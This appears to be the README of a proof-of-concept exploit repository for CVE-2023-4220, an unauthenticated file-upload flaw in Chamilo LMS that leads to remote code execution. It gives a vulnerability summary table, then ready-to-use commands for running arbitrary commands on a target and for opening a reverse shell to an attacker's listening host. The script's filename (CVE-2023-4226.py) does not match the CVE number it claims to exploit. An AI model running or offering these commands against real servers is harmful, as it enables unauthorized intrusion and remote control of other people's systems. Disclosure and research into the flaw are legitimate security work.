POC for CVE-2023-4220 - Chamilo LMS Unauthenticated Big Upload File Remote Code Execution# CVE-2023-4220 POC
More about CVE-2023-4220: [StarLabs Advisory](https://starlabs.sg/advisories/23/23-4220/)
## Summary
| **Product** | Chamilo |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Vendor** | Chamilo |
| **Severity** | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
| **Affected Versions** | <= v1.11.24 |
| **Tested Versions** | v1.11.24 (latest version as of writing) |
| **CVE Identifier** | CVE-2023-4220 |
| **CVE Description** | Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. |
| **CWE Classification** | CWE-434: Unrestricted Upload of File with Dangerous Type |
| **CAPEC Classification** | CAPEC-650: Upload a Web Shell to a Web Server |
## Proof of Concept (PoC)
### Execute Commands Directly
To execute commands directly, use the following command:
`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -c whoami`
### Obtain a Reverse Shell
To obtain a reverse shell, use the following command:
`python CVE-2023-4226.py -u http://<target_ip>:<target_port> -lhost <local_ip> -lport <local_port>`
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